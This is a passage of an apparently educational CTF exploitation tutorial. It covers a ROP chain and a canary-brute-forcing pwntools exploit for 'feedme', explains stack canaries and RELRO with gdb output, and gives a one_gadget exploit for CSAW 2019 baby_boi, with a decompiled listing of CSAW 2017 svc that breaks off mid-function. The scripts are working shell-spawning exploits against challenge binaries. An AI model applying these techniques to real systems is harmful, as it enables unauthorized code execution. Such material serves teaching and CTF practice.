0x0807be31 : mov dword ptr [eax], edx ; ret

This gadget is extremely useful. What this will allow us to do is move the contents of the edx register into the area of space pointed to by the address of eax, then return. So if we wanted to write to the address 1234, we could load that address into eax, and the value we wanted to write into the edx register, then call this gadget.

0x080bb496 : pop eax ; ret

This gadget is helpful since it will allow us to pop a value off of the stack into the eax register to use, then return to allow us to continue the ROP Chain.

0x0806f34a : pop edx ; ret

This gadget is similar to the previous one, except it is with the edx register instead of the eax register.

0x0806f371 : pop ecx ; pop ebx ; ret

This gadget is so we can control the value of the ecx register. Unfortunately there are no gadgets that will just pop a value into the ecx register then return, so this is the next best thing (using this gadget will save us not having to use another gadget when we pop a value into the ebx register however).

0x08049761 : int 0x80

This gadget is a syscall, which will allow us to make a syscall to the kernell to get a shell (to get a syscall in x86, you can call int 0x80). Syscall will expect three arguments, the interger 11 in eax for the syscall number, the bss address 0x80eb928 in the ebx register for the address of the command, and the value 0x0 in ecx and edx registers (syscall will look for arguments in those registers, however we don't need them so we should just set them to null). For more info on syscalls check out https://en.wikibooks.org/wiki/X86_Assembly/Interfacing_with_Linux

Now we are going to have to write the string /bin/sh somewhere in memory, at an address that we know in order to pass it as an argument it the syscall. What we can do for this, is to write it to the bss address 0x80eb928. Since it is in the bss, it will have a static address, so we don't need an infoleak to write to and call it.

With that, we get the following ROP Chain:

# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80eb928)    # bss address
payload += p32(0x0806f34a)    # pop edx
payload    += p32(0x6e69622f)    # /bin string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80eb928 + 0x4)    # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a)    # pop edx
payload    += p32(0x0068732f)    # /sh string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0xb)            # 11
payload += p32(0x0806f371)    # pop ecx ; pop ebx ; ret
payload += p32(0x0)            # 0x0
payload += p32(0x80eb928)    # bss address
payload += p32(0x0806f34a)    # pop edx ; ret
payload += p32(0x0)            # 0x0
payload += p32(0x8049761)    # syscall

Exploit

Putting it all together, we get the following exploit:

# This is based off of a Raytheon SI Govs talk

# First we import pwntools
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
    # We know that the first byte of the stack canary has to be \x00 since it is null terminated, keep the values we know for the canary in known_canary
    known_canary = "\x00"
    # Ascii representation of the canary
    hex_canary = "00"
    # The current canary which will be incremented
    canary = 0x0
    # The number of bytes we will give as input
    inp_bytes = 0x22
    # Iterate 3 times for the three bytes we need to brute force
    for j in range(0, 3):
        # Iterate up to 0xff times to brute force all posible values for byte
        for i in xrange(0xff):
            log.info("Trying canary: " + hex(canary) + hex_canary)
            
            # Send the current input size
            target.send(p32(inp_bytes)[0])

            # Send this iterations canary
            target.send("0"*0x20 + known_canary + p32(canary)[0])

            # Scan in the output, determine if we have a correct value
            output = target.recvuntil("exit.")
            if "YUM" in output:
                # If we have a correct value, record the canary value, reset the canary value, and move on
                print "next byte is: " + hex(canary)
                known_canary = known_canary + p32(canary)[0]
                inp_bytes = inp_bytes + 1
                new_canary = hex(canary)
                new_canary = new_canary.replace("0x", "")
                hex_canary = new_canary + hex_canary
                canary = 0x0
                break
            else:
                # If this isn't the canary value, increment canary by one and move onto next loop
                canary = canary + 0x1

    # Return the canary
    return int(hex_canary, 16)

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info("The canary is: " + hex(canary))


# Now that we have the canary, we can start making our final payload

# This will cover the space up to, and including the canary
payload = "0"*0x20 + p32(canary)

# This will cover the rest of the space between the canary and the return address
payload += "1"*0xc

# Start putting together the ROP Chain

# This is to write the string '/bin' to the bss address 0x80eb928. Since this is 32 bit, registers can only hold 4 bytes, so we can only write 4 characters at a time
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80eb928)    # bss address
payload += p32(0x0806f34a)    # pop edx
payload    += p32(0x6e69622f)    # /bin string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Write the second half of the string '/bin/sh' the '/sh' to 0x80eb928 + 0x4
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0x80eb928 + 0x4)    # bss address + 0x4 to write after '/bin'
payload += p32(0x0806f34a)    # pop edx
payload    += p32(0x0068732f)    # /sh string in hex, in little endian
payload += p32(0x0807be31)    # mov dword ptr [eax], edx ; ret

# Now that we have the string '/bin/sh' written to 0x80eb928, we can load the appropriate values into the eax, ecx, edx, and ebx registers and make the syscall.
payload += p32(0x080bb496)    # pop eax ; ret
payload += p32(0xb)            # 11
payload += p32(0x0806f371)    # pop ecx ; pop ebx ; ret
payload += p32(0x0)            # 0x0
payload += p32(0x80eb928)    # bss address
payload += p32(0x0806f34a)    # pop edx ; ret
payload += p32(0x0)            # 0x0
payload += p32(0x8049761)    # syscall

# Send the amount of bytes for our payload, and the payload itself
target.send("\x78")
target.send(payload)

# Drop to an interactive shell
target.interactive()

When we run the exploit:

$    python exploit.py
[+] Starting local process './feedme': pid 16881
[*] Trying canary: 0x000
[*] Trying canary: 0x100
[*] Trying canary: 0x200
[*] Trying canary: 0x300
[*] Trying canary: 0x400
[*] Trying canary: 0x500
[*] Trying canary: 0x600
[*] Trying canary: 0x700
[*] Trying canary: 0x800
[*] Trying canary: 0x900

.    .    .

[*] Trying canary: 0xcfcb2200
[*] Trying canary: 0xd0cb2200
[*] Trying canary: 0xd1cb2200
[*] Trying canary: 0xd2cb2200
[*] Trying canary: 0xd3cb2200
[*] Trying canary: 0xd4cb2200
[*] Trying canary: 0xd5cb2200
next byte is: 0xd5
[*] The canary is: 0xd5cb2200
[*] Switching to interactive mode

FEED ME!
ATE 30303030303030303030303030303030...
$ w
 01:49:06 up  4:22,  1 user,  load average: 1.47, 1.31, 1.31
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               21:26   ?xdm?  26:56   0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core  exploit.py  feedme  readme.md

Just like that, we popped a shell!

Stack Canary

The Stack Canary is another mitigation designed to protect against things like stack based buffer overflows. The general idea is, a random value is placed at the bottom of the stack frame, which is below the stack variables where we actually have input. If had a buffer overflow to overwrite the saved return address, this value on the stack would be overwritten. Then before the return address is executed, it checks to see if that value is the same one it set. If it isn't then it knows that there is a memory corruption bug happening and terminates the program. Also the name comes from the use of canaries in a mine. If the canary stops singing, get out before you die from gas poisoning.

To understand this better, let's look at a binary compiled with a stack canary:

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401132 <+0>:    push   rbp
   0x0000000000401133 <+1>:    mov    rbp,rsp
   0x0000000000401136 <+4>:    sub    rsp,0x20
   0x000000000040113a <+8>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000401143 <+17>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000401147 <+21>:    xor    eax,eax
   0x0000000000401149 <+23>:    mov    rdx,QWORD PTR [rip+0x2ef0]        # 0x404040 <stdin@@GLIBC_2.2.5>
   0x0000000000401150 <+30>:    lea    rax,[rbp-0x12]
   0x0000000000401154 <+34>:    mov    esi,0x9
   0x0000000000401159 <+39>:    mov    rdi,rax
   0x000000000040115c <+42>:    call   0x401040 <fgets@plt>
   0x0000000000401161 <+47>:    mov    DWORD PTR [rbp-0x18],0x5
   0x0000000000401168 <+54>:    nop
   0x0000000000401169 <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040116d <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000401176 <+68>:    je     0x40117d <main+75>
   0x0000000000401178 <+70>:    call   0x401030 <__stack_chk_fail@plt>
   0x000000000040117d <+75>:    leave  
   0x000000000040117e <+76>:    ret    
End of assembler dump.

Now let's look at a binary compiled from the same source code, but without a stack canary:

gef➤  disas main
Dump of assembler code for function main:
   0x0000000000401122 <+0>:    push   rbp
   0x0000000000401123 <+1>:    mov    rbp,rsp
   0x0000000000401126 <+4>:    sub    rsp,0x10
   0x000000000040112a <+8>:    mov    rdx,QWORD PTR [rip+0x2eff]        # 0x404030 <stdin@@GLIBC_2.2.5>
   0x0000000000401131 <+15>:    lea    rax,[rbp-0xe]
   0x0000000000401135 <+19>:    mov    esi,0x9
   0x000000000040113a <+24>:    mov    rdi,rax
   0x000000000040113d <+27>:    call   0x401030 <fgets@plt>
   0x0000000000401142 <+32>:    mov    DWORD PTR [rbp-0x4],0x5
   0x0000000000401149 <+39>:    nop
   0x000000000040114a <+40>:    leave  
   0x000000000040114b <+41>:    ret    
End of assembler dump.

We can see a few differences between the code, like when it checks the stack canary:

   0x0000000000401169 <+55>:    mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040116d <+59>:    xor    rax,QWORD PTR fs:0x28
   0x0000000000401176 <+68>:    je     0x40117d <main+75>
   0x0000000000401178 <+70>:    call   0x401030 <__stack_chk_fail@plt>

Let's actually take a look at the stack canary in memory:

Breakpoint 1, 0x0000000000401168 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffdfde  →  0x7fffffffe0d0000a
$rbx   : 0x0               
$rcx   : 0xfbad2288        
$rdx   : 0x00007fffffffdfde  →  0x7fffffffe0d0000a
$rsp   : 0x00007fffffffdfd0  →  0x0000000000401180  →  <__libc_csu_init+0> push r15
$rbp   : 0x00007fffffffdff0  →  0x0000000000401180  →  <__libc_csu_init+0> push r15
$rsi   : 0x00007ffff7fb2590  →  0x0000000000000000
$rdi   : 0x0               
$rip   : 0x0000000000401168  →  <main+54> nop
$r8    : 0x00007ffff7fb2580  →  0x0000000000000000
$r9    : 0x00007ffff7fb7500  →  0x00007ffff7fb7500  →  [loop detected]
$r10   : 0x00007ffff7fafca0  →  0x0000000000405660  →  0x0000000000000000
$r11   : 0x246             
$r12   : 0x0000000000401050  →  <_start+0> xor ebp, ebp
$r13   : 0x00007fffffffe0d0  →  0x0000000000000001
$r14   : 0x0               
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffdfd0│+0x0000: 0x0000000000401180  →  <__libc_csu_init+0> push r15 ← $rsp
0x00007fffffffdfd8│+0x0008: 0x000a000000000005
0x00007fffffffdfe0│+0x0010: 0x00007fffffffe0d0  →  0x0000000000000001
0x00007fffffffdfe8│+0x0018: 0x92105577ff879300
0x00007fffffffdff0│+0x0020: 0x0000000000401180  →  <__libc_csu_init+0> push r15 ← $rbp
0x00007fffffffdff8│+0x0028: 0x00007ffff7df1b6b  →  <__libc_start_main+235> mov edi, eax
0x00007fffffffe000│+0x0030: 0x0000000000000000
0x00007fffffffe008│+0x0038: 0x00007fffffffe0d8  →  0x00007fffffffe3f7  →  "/tmp/tryc"
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401159 <main+39>        mov    rdi, rax
     0x40115c <main+42>        call   0x401040 <fgets@plt>
     0x401161 <main+47>        mov    DWORD PTR [rbp-0x18], 0x5
 →   0x401168 <main+54>        nop    
     0x401169 <main+55>        mov    rax, QWORD PTR [rbp-0x8]
     0x40116d <main+59>        xor    rax, QWORD PTR fs:0x28
     0x401176 <main+68>        je     0x40117d <main+75>
     0x401178 <main+70>        call   0x401030 <__stack_chk_fail@plt>
     0x40117d <main+75>        leave  
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "tryc", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401168 → main()
────────────────────────────────────────────────────────────────────────────────
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x92105577ff879300

Here we can see is the stack canary. We can tell that it is the stack canary from several different things. Firstly it is the value being used when it is doing the stack canary check. Also it is around the spot on the stack it should be. Also it matches the pattern of a stack canary. While they are random they do fit a general pattern.

For x64 elfs, the pattern is an 0x8 byte qword, where the first seven bytes are random and the last byte is a null byte.

For x86 elfs, the pattern is a 0x4 byte dword, where the first three bytes are random and the last byte is a null byte.

Let's change the value of the canary and see what happens!

gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x92105577ff879300
gef➤  set *0x7fffffffdfe8 = 0x0
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x9210557700000000
gef➤  c
Continuing.
*** stack smashing detected ***: <unknown> terminated

As we can see, it saw that the value of the canary changed and it terminated the process.

So what's the bypass? If we need to overwrite the stack canary, then we just overwrite it with itself. For instance:

─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x401159 <main+39>        mov    rdi, rax
     0x40115c <main+42>        call   0x401040 <fgets@plt>
     0x401161 <main+47>        mov    DWORD PTR [rbp-0x18], 0x5
 →   0x401168 <main+54>        nop    
     0x401169 <main+55>        mov    rax, QWORD PTR [rbp-0x8]
     0x40116d <main+59>        xor    rax, QWORD PTR fs:0x28
     0x401176 <main+68>        je     0x40117d <main+75>
     0x401178 <main+70>        call   0x401030 <__stack_chk_fail@plt>
     0x40117d <main+75>        leave  
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "tryc", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401168 → main()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x62c8c8d34092fd00
gef➤  set *0x7fffffffdfe8 = 0x4092fd00
gef➤  x/g $rbp-0x8
0x7fffffffdfe8:    0x62c8c8d34092fd00
gef➤  c
Continuing.
[Inferior 1 (process 7134) exited normally]

Here we just wrote the value of the canary to itself, and it passed the check. Of course this requires us to know the value of the stack canary. This can be accomplished via leaking the canary (which we will see later). Also in some cases you might be able to do something like brute forcing that value.

Relro

Relro (Read only Relocation) affects the memory permissions similar to NX. The difference is whereas with NX it makes the stack executable, RELRO makes certain things read only so we can't write to them. The most common way I've seen this be an obstacle is preventing us from doing a got table overwrite, which will be covered later. The got table holds addresses for libc functions so that the binary knows what the addresses are and can call them. Let's see what the memory permissions look like for a got table entry for a binary with and without relro.

With relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
  0x555555557fd0 - 0x555555557fe8  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

Without relro:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤  search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
  0x404018 - 0x404030  →   "\x00\xd1\xe4\xf7\xff\x7f[...]"

For the binary without relro, we can see that the got entry address for fgets is 0x404018. Looking at the memory mappings we see that it falls between 0x404000 and 0x405000, which has the permissions rw, meaning we can read and write to it. For the binary with relro, we see that the got table address for the run of the binary (pie is enabled so this address will change) is 0x555555557fd0. In that binary's memory mapping it falls between 0x0000555555557000 and 0x0000555555558000, which has the memory permission r, meaning that we can only read from it.

So what's the bypass? The typical bypass I use is to just don't write to memory regions that relro causes to be read only, and find a different way to get code execution.

Csaw 2019 Babyboi

Let's take a look at the binary, libc file, and source code. For this challenge we do get a copy of it:

$    file baby_boi
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7ff2b37f62, not stripped
$    pwn checksec baby_boi
[*] '/Hackery/pod/modules/8-bof_dynamic/csaw19_babyboi/baby_boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./libc-2.27.so
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1) stable release version 2.27.
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.3.0.
libc ABIs: UNIQUE IFUNC
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$    ./baby_boi
Hello!
Here I am: 0x7f995049c830
15935728
$    cat baby_boi.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  char buf[32];
  printf("Hello!\n");
  printf("Here I am: %p\n", printf);
  gets(buf);
}

So we can see that the binary just prompts us for text. Looking at the source code, we see that it prints the libc address for printf. After that it calls gets on a fixed sized buffer, which gives us a buffer overflow. We can see that the libc version is libc-2.27.so . Also the only binary protection we see is NX.

Exploitation

So to exploit this, we will use the buffer overflow. We will call a oneshot gadget, which is a single ROP gadget in the libc that will call execve("/bin/sh") given the right conditions. We can find this using the one_gadget utility (https://github.com/david942j/one_gadget):

$    one_gadget libc-2.27.so
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

So leveraging the libc infoleak with the printf statement to the libc printf (and that we know which libc version it is), we know the address space of the libc. For which onegadget to pick, I typically just do trial and error to see what conditions will work. You can actually check when it is called to see what conditions will be met however.

Exploit

Putting it all together, we have the following exploit. This was ran on Ubuntu 18.04:

from pwn import *

# Establish the target
target = process('./baby_boi', env={"LD_PRELOAD":"./libc-2.27.so"})
libc = ELF('libc-2.27.so')
#gdb.attach(target)

print target.recvuntil("ere I am: ")

# Scan in the infoleak
leak = target.recvline()
leak = leak.strip("\n")

base = int(leak, 16) - libc.symbols['printf']

print "wooo:" + hex(base)

# Calculate oneshot gadget
oneshot = base + 0x4f322

payload = ""
payload += "0"*0x28         # Offset to oneshot gadget
payload += p64(oneshot)     # Oneshot gadget

# Send the payload
target.sendline(payload)

target.interactive()

When we run the exploit:

$    python exploit.py
[+] Starting local process './baby_boi': pid 12693
[*] '/home/guyinatuxedo/Desktop/babyboi/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Hello!
Here I am:
wooo:0x7fe0eb22e000
[*] Switching to interactive mode
$ w
 21:29:32 up 57 min,  1 user,  load average: 0.17, 0.26, 0.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               16Sep19 ?xdm?  47.39s  0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
baby_boi  baby_boi.c  exploit.py  libc-2.27.so    readme.md

Csaw 2017 Quasl SVC

This was solved on Ubuntu 16.04 with libc version libc-2.23.so.

Let's take a look at the binary:

$ file svc 
svc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.32, BuildID[sha1]=8585d22b995d2e1ab76bd520f7826370df71e0b6, stripped
$ pwn checksec svc 
[*] '/Hackery/course/content/ctf_course/modules/bof_dynamic/csawquals17_svc/svc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$ ./svc 
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>1
-------------------------
[*]SCV IS ALWAYS HUNGRY.....
-------------------------
[*]GIVE HIM SOME FOOD.......
-------------------------
>>15935728
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>2
-------------------------
[*]REVIEW THE FOOD...........
-------------------------
[*]PLEASE TREAT HIM WELL.....
-------------------------
15935728
�k8
-------------------------
[*]SCV GOOD TO GO,SIR....
-------------------------
1.FEED SCV....
2.REVIEW THE FOOD....
3.MINE MINERALS....
-------------------------
>>3
[*]BYE ~ TIME TO MINE MIENRALS...

So we can see that it is a 64 bit dynamically linked binary, with a stack canary and a non-executable stack. When we run it it gives us three options. We can input data, print the data, and exit. Looking through the various functions in Ghidra, we can see that the FUN_00400a9 function holds the menu we are prompted with (also we can see that the code was written in C++):


undefined8 menu(void)

{
  long lVar1;
  bool bVar2;
  basic_ostream *this;
  long in_FS_OFFSET;
  int menuChoice;
  char input [168];
  long stackCanary;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stdin,(char *)0x0,2,0);
  menuChoice = 0;
  bVar2 = true;
  while (bVar2) {
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"-------------------------");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"[*]SCV GOOD TO GO,SIR....");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"-------------------------");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"1.FEED SCV....");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"2.REVIEW THE FOOD....");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"3.MINE MINERALS....");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"-------------------------");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
    operator<<<std--char_traits<char>>((basic_ostream *)cout,">>");
    operator>>((basic_istream<char,std--char_traits<char>> *)cin,&menuChoice);
    if (menuChoice == 2) {
      this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"-------------------------");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      this = operator<<<std--char_traits<char>>
                       ((basic_ostream *)cout,"[*]REVIEW THE FOOD...........");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"-------------------------");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      this = operator<<<std--char_traits<char>>
                       ((basic_ostream *)cout,"[*]PLEASE TREAT HIM WELL.....");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      this = operator<<<std--char_traits<char>>((basic_ostream *)cout,"-------------------------");
      operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                 endl<char,std--char_traits<char>>);
      puts(input);
    }
    else {
      if (menuChoice == 3) {
        bVar2 = false;
        this = operator<<<std--char_traits<char>>
                         ((basic_ostream *)cout,"[*]BYE ~ TIME TO MINE MIENRALS...");
        operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                   endl<char,std--char_traits<char>>);
      }
      else {
        if (menuChoice == 1) {
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"-------------------------");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"[*]SCV IS ALWAYS HUNGRY.....");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
                     endl<char,std--char_traits<char>>);
          this = operator<<<std--char_traits<char>>
                           ((basic_ostream *)cout,"-------------------------");
          operator<<((basic_ostream<char,std--char_traits<char>> *)this,
